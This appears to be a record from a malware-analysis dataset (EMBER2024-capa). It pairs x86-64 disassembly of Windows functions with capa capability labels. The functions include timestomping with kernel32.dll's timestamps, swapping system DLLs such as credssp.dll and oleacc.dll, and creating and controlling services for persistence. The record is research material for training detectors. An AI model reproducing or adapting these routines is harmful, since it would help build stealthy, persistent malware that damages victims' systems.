joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007be8
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov dword [rsp + 0x20], r9d
push rbp
mov rbp, rsp
sub rsp, 0x40
xor ebx, ebx
mov rdi, r8
lea r8, [rbp - 0x10]
cmp dword [rbp + 0x40], ebx
jne 0x180007c15
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
jmp 0x180007c5c
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x180007cd2
mov rcx, qword [rbp - 0x10]
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rbx
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180007cd2
cmp dword [rbp + 0x40], 2
jne 0x180007c60
mov rcx, qword [rbp - 0x10]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x180007cd2
mov ecx, dword [rbp + 0x28]
lea eax, [rcx - 1]
cmp eax, 1
ja 0x180007ca0
mov rdx, qword [rbp + 0x30]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], bl
jne 0x180007c73
inc eax
mov r9d, ecx
mov rcx, qword [rbp - 0x10]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x180007cd2
mov ecx, dword [rbp + 0x28]
mov r9d, 4
cmp ecx, r9d
jne 0x180007ccd
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x38]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x180007cd2
mov ebx, 1
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1800088d0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x50]
mov r9, rdx
mov qword [rsp + 0x28], rax
lea r8, [0x1800083dc]
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18000890a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180008910
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x48]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
lea r8, [0x1800084e8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18000894a
mov qword [rbx + 0x30], rax
mov eax, 1
add rsp, 0x30
pop rbx
ret
and dword [rcx + 0x6c], 0
jmp 0x180008910

Function at 0x1800089a0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov rbx, rdx
mov r9, rdx
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
lea r8, [0x1800087d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800089e1
mov rdx, rax
mov rcx, rbx
call fcn.180008224
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x180008a10
Capabilities:
Get common file path
Timestomp file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rsi, rcx
mov edx, 0x104
lea rcx, [rsp + 0x60]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, [rsp + 0x60]
lea rdx, str._skernel32.dll
lea rcx, [rsp + 0x170]
call qword [sym.imp.USER32.dll_wsprintfA]
and qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x170]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180008b32
and qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180008b23
lea r9, [rsp + 0x40]
mov rcx, rdi
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x180008b23
lea r9, [rsp + 0x40]
mov rcx, rbx
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
je 0x180008b23
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x180008b3d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rbx, 0xffffffffffffffff
je 0x180008b3b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.18000c1a0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180008b64
Capabilities:
Check if file exists
Copy file
Delete file
Move file
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x20
call fcn.180008d14
lea rbp, [0x18004f6e0]
mov ebx, eax
mov r8, rbp
lea rdx, str._smssvc.dll
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfA]
xor r8d, r8d
lea rdx, str.C:WindowsSystem32Mssvc32.dll
lea rcx, str.C:WindowsSystem32Mssvc.dll
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x180008bbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x180008ceb
lea rcx, str.C:WindowsSystem32Mssvc.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x180008bde
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x180008ceb
lea rsi, [0x18004f430]
xor r8d, r8d
mov rcx, rsi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180008c03
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180008ceb
mov rcx, rbp
call fcn.180008a10
mov r8, rbp
mov edx, 0x104
mov rcx, rsi
call fcn.18001286c
mov rcx, rsi
call fcn.180008a10
cmp ebx, 7
jne 0x180008c8e
lea rcx, str.C:Windowscredssp32.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x180008c48
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x180008ceb
xor r8d, r8d
lea rdx, str.C:Windowscredssp32.dll
lea rcx, str.C:Windowscredssp.dll
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x180008c6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x180008ceb
xor r8d, r8d
lea rdx, str.C:windowscredssp.dll
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x180008ceb
lea rcx, str.C:windowscredssp.dll
jmp 0x180008cf2
cmp ebx, 0xa
jne 0x180008d02
lea rcx, str.C:Windowsoleacc32.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x180008caf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x180008ceb
lea rbx, str.C:windowsoleacc.dll
xor r8d, r8d
mov rcx, rbx
lea rdx, str.C:windowsoleacc32.dll
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x180008cd8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x180008ceb
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180008cef
xor eax, eax
jmp 0x180008d02
mov rcx, rbx
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, 1
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
Function at 0x180008d14
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r8d, 0x104
mov dword [rsp + 0x34], 1
xor edx, edx
mov dword [rsp + 0x30], r8d
lea rcx, [rsp + 0x40]
call fcn.18000d040
lea r8, [rsp + 0x38]
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.CurrentVersion
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp byte [rsp + 0x40], 0x36
jne 0x180008da8
cmp byte [rsp + 0x42], 0x32
mov ebx, 7
jl 0x180008dad
mov ebx, 0xa
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x160
pop rbx
ret

Function at 0x180008dd4
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test r8d, r8d
jne 0x180008e0c
lea rax, [rsp + 0x50]
mov r9, rdx
mov qword [rsp + 0x28], rax
xor edx, edx
and dword [rsp + 0x20], r8d
mov r8, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180008e6c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180008e6c
cmp r8d, 1
jne 0x180008e6c
lea rax, [rsp + 0x50]
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180008e6c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x18000a864]
xor edx, edx
mov dword [rsp + 0x20], 4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x18004f7e8], rax
add rsp, 0x38
ret
Function at 0x180008e74
Capabilities:
Get common file path
Get session user name
Resume thread

Disassembly:
push rdi
sub rsp, 0x180
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rdi, rcx
cmp edx, 1
jne 0x180008f75
mov qword [0x18004f428], rcx
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x104
call fcn.18000d040
mov r8d, 0x104
lea rdx, [0x18004f430]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x104
lea rcx, [0x18004f6e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rsp + 0x60]
call fcn.18000ec88
call fcn.180002fac
test eax, eax
je 0x180008f4b
mov ecx, 1
call fcn.180004854
test eax, eax
jne 0x180008f1c
call sym.nw.dll_Install
jmp 0x180008f75
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], gethostname
lea rcx, [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, str.SYSTEM
lea rcx, [rsp + 0x28]
call fcn.180014ff8
test eax, eax
je 0x180008f75
jmp 0x180008f54
call fcn.180002fac
test eax, eax
jne 0x180008f75
mov r8d, 1
lea rcx, [0x18000a7dc]
xor edx, edx
call fcn.180008dd4
mov rcx, qword [0x18004f7e8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x180
pop rdi
ret

Function at 0x180008fe8
Capabilities:
Modify service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov ebx, r9d
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
xor ecx, ecx
mov rdi, rax
test rax, rax
je 0x180009067
mov rax, qword [rsp + 0x98]
or r9d, 0xffffffff
mov qword [rsp + 0x50], rax
mov r8d, ebx
mov rax, qword [rsp + 0x90]
mov edx, esi
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, ebx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180009348
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbp, r8
mov rax, rdx
mov rbx, rcx
mov rdx, rbp
mov rcx, rax
mov r8d, 0xf01ff
xor edi, edi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
jne 0x1800093d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7b
jne 0x1800093bf
mov r8, rbp
lea rdx, str._s_No_Found_r_n
lea rcx, [0x18004d320]
call fcn.180008f94
lea rdx, [0x18004d320]
mov rcx, rbx
call fcn.180007150
xor eax, eax
jmp 0x180009476
lea rdx, str.OpenService
mov r8b, 1
mov rcx, rbx
call fcn.18000a64c
jmp 0x1800093b8
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1800093f9
mov r8b, 1
lea rdx, [0x1800363e0]
mov rcx, rbx
call fcn.18000a64c
jmp 0x18000946b
cmp dword [rsp + 0x24], 1
je 0x180009420
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x180009420
lea rdx, [0x1800363f8]
jmp 0x1800093c6
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x180009441
xor r8d, r8d
lea rdx, [0x180036408]
mov rcx, rbx
call fcn.18000a64c
jmp 0x18000945c
mov r8, rbp
lea rdx, str.Delete_Service__s_Successfully_r_n
lea rcx, [0x18004d320]
call fcn.180008f94
mov edi, 1
lea rdx, [0x18004d320]
mov rcx, rbx
call fcn.180007150
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009494
Capabilities:
Enumerate services

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x5f60]
mov eax, 0x6060
call fcn.18000c140
sub rsp, rax
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp + 0x5f50], rax
xor edi, edi
lea rax, [rsp + 0x48]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x50]
mov rsi, rdx
mov dword [rsp + 0x44], edi
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x30], rax
lea edx, [rdi + 0x30]
lea rax, [rsp + 0x44]
mov dword [rsp + 0x48], edi
mov rbx, rcx
mov qword [rsp + 0x28], rax
lea r8d, [rdi + 3]
mov dword [rsp + 0x20], 0x6000
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x180009583
mov eax, dword [rsp + 0x44]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x38], rcx
lea r9, [rsp + 0x50]
lea rcx, [rsp + 0x40]
add eax, 0x6000
mov qword [rsp + 0x30], rcx
lea edx, [rdi + 0x30]
lea rcx, [rsp + 0x44]
mov qword [rsp + 0x28], rcx
lea r8d, [rdi + 3]
mov rcx, rsi
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov rcx, rbx
test eax, eax
jne 0x180009572
mov r8b, 1
lea rdx, str.EnumServicesStatus
call fcn.18000a64c
xor eax, eax
jmp 0x1800096b2
mov r8d, dword [rsp + 0x40]
lea rdx, str.Services:_t__d_r_n
call fcn.180007150
lea rax, str.DisplayName
mov rcx, rbx
lea r9, str.Status
mov qword [rsp + 0x20], rax
lea r8, str.ServiceName
lea rdx, str.__18s_t__8s_s_r_n
call fcn.180007150
lea rdx, str.________________________________________________________________________________r_n
mov rcx, rbx
call fcn.180007150
cmp dword [rsp + 0x40], edi
jbe 0x18000967c
lea rsi, [rdi + rdi*2]
mov rcx, rbx
add rsi, rsi
lea rdx, str.__18s_t
mov r8, qword [rsp + rsi*8 + 0x50]
call fcn.180007150
mov ecx, dword [rsp + rsi*8 + 0x64]
sub ecx, 1
je 0x180009646
sub ecx, 1
je 0x18000963d
sub ecx, 1
je 0x180009634
sub ecx, 1
je 0x18000962b
sub ecx, 1
je 0x180009622
sub ecx, 1
je 0x180009619
cmp ecx, 1
je 0x180009610
lea r8, [0x1800356e0]
jmp 0x18000964d
lea r8, str.Paused
jmp 0x18000964d
lea r8, str.Pausing
jmp 0x18000964d
lea r8, str.Continue
jmp 0x18000964d
lea r8, str.Running
jmp 0x18000964d
lea r8, str.Stopping
jmp 0x18000964d
lea r8, str.Starting
jmp 0x18000964d
lea r8, str.Stopped
lea rdx, str.__8s
mov rcx, rbx
call fcn.180007150
mov r8, qword [rsp + rsi*8 + 0x58]
lea rdx, str._s_r_n
mov rcx, rbx
call fcn.180007150
inc edi
cmp edi, dword [rsp + 0x40]
jb 0x1800095c5
lea rdi, [0x18004d320]
mov rcx, rdi
lea rdx, str._r_nList_Services_Compeleted_r_n
call fcn.180008f94
mov rdx, rdi
mov rcx, rbx
call fcn.180007150
xor edx, edx
mov r8d, 0x2000
mov rcx, rdi
call fcn.18000d040
mov eax, 1
mov rcx, qword [rbp + 0x5f50]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x6090]
add rsp, 0x6060
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009a34
Capabilities:
Create service
Persist via windows service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x70
and qword [rax - 0x18], 0
mov r10, r9
and qword [rax - 0x20], 0
mov r11, r8
and qword [rax - 0x28], 0
mov rbx, rdx
and qword [rax - 0x30], 0
mov rdi, rcx
and qword [rax - 0x38], 0
mov r9d, 0xf01ff
mov rax, qword [rsp + 0xa0]
mov r8, r10
mov qword [rsp + 0x38], rax
mov rdx, r11
mov eax, dword [rsp + 0xa8]
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
test rax, rax
jne 0x180009adb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
cmp eax, 0x431
jne 0x180009ac8
lea rdx, str.failure:_CreateService__ERROR_SERVICE_EXISTS_n
call fcn.180007150
jmp 0x180009ad7
mov r8b, 1
lea rdx, str.CreateService
call fcn.18000a64c
xor eax, eax
jmp 0x180009af8
lea rdx, str.success:_Service_Installed_Successfully._n
mov rcx, rdi
call fcn.180007150
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x18000a0c4
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rax, rdx
mov rdi, rcx
mov rdx, rsi
mov rcx, rax
mov r8d, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
jne 0x18000a109
mov r8b, 1
lea rdx, str.OpenService
mov rcx, rdi
call fcn.18000a64c
xor eax, eax
jmp 0x18000a149
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebx, eax
test eax, eax
jne 0x18000a131
xor r8d, r8d
lea rdx, str.StartService
mov rcx, rdi
call fcn.18000a64c
jmp 0x18000a147
mov r8, rsi
lea rdx, str.Service___s__Started._r_n
lea rcx, [0x18004d320]
call fcn.180008f94
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x18000a1e0
Capabilities:
Query service status
Stop service

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, r8
mov rax, rdx
mov rbx, rcx
mov rdx, rsi
mov rcx, rax
mov r8d, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
jne 0x18000a230
mov r8b, 1
lea rdx, str.OpenService
mov rcx, rbx
call fcn.18000a64c
xor eax, eax
jmp 0x18000a2ae
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x18000a256
lea rdx, [0x1800363e0]
mov rcx, rbx
mov r8b, 1
call fcn.18000a64c
jmp 0x18000a2a0
cmp dword [rsp + 0x24], 1
jne 0x18000a26e
lea rdx, str.failure:_StopService__SERVICE_STOPPED._r_n
mov rcx, rbx
call fcn.180007150
jmp 0x18000a2a0
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rbx
test eax, eax
jne 0x18000a291
lea rdx, [0x1800363f8]
jmp 0x18000a24c
mov r8, rsi
lea rdx, str.Stop_Service__s_Successfully_r_n
call fcn.180007150
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000a6ec
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
lea rcx, [0x18004f6d0]
call fcn.180002f50
mov edx, 0x80
lea rcx, [0x18004f650]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x38]
lea r9, [0x18004f6d0]
movzx eax, word [rsp + 0x3a]
lea r8, [0x18004f650]
mov dword [rsp + 0x28], eax
lea rdx, str._r_n_s___s____d:_d__r_n
mov dword [rsp + 0x20], ecx
mov rcx, rbx
call fcn.180007150
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov edx, 0x7530
mov r8d, 0x1b58
mov rcx, rbx
call fcn.18000abc4
jmp 0x18000a793
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.180007304
test eax, eax
je 0x18000a7ae
or r9d, 0xffffffff
lea rdx, [rsp + 0x40]
mov r8d, 0x128
mov rcx, rbx
call fcn.18000766c
test eax, eax
jne 0x18000a782
mov rdx, rbx
lea rcx, [0x18004f7f0]
call fcn.18000ad60
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x180
pop rbx
ret
Function at 0x2fc4cff30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d1010
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d0932
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f3108]
test eax, eax
je 0x2fc4d09ca
lea rax, [0x2fc4f30e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f3110]
mov qword [rbp - 8], rax
jmp 0x2fc4d09ae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d09a2
cmp qword [rbp - 0x10], 0
je 0x2fc4d09a2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d0968
lea rax, [0x2fc4f30e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d09cb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d0ad0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d0af8
mov eax, 0
jmp 0x2fc4d0b46
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d0b21
mov eax, 0
jmp 0x2fc4d0b46
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d0b41
mov eax, 0
jmp 0x2fc4d0b46
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d0b4c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d0bca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d0bc1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d0bc1
mov rax, qword [rbp - 8]
jmp 0x2fc4d0bdf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
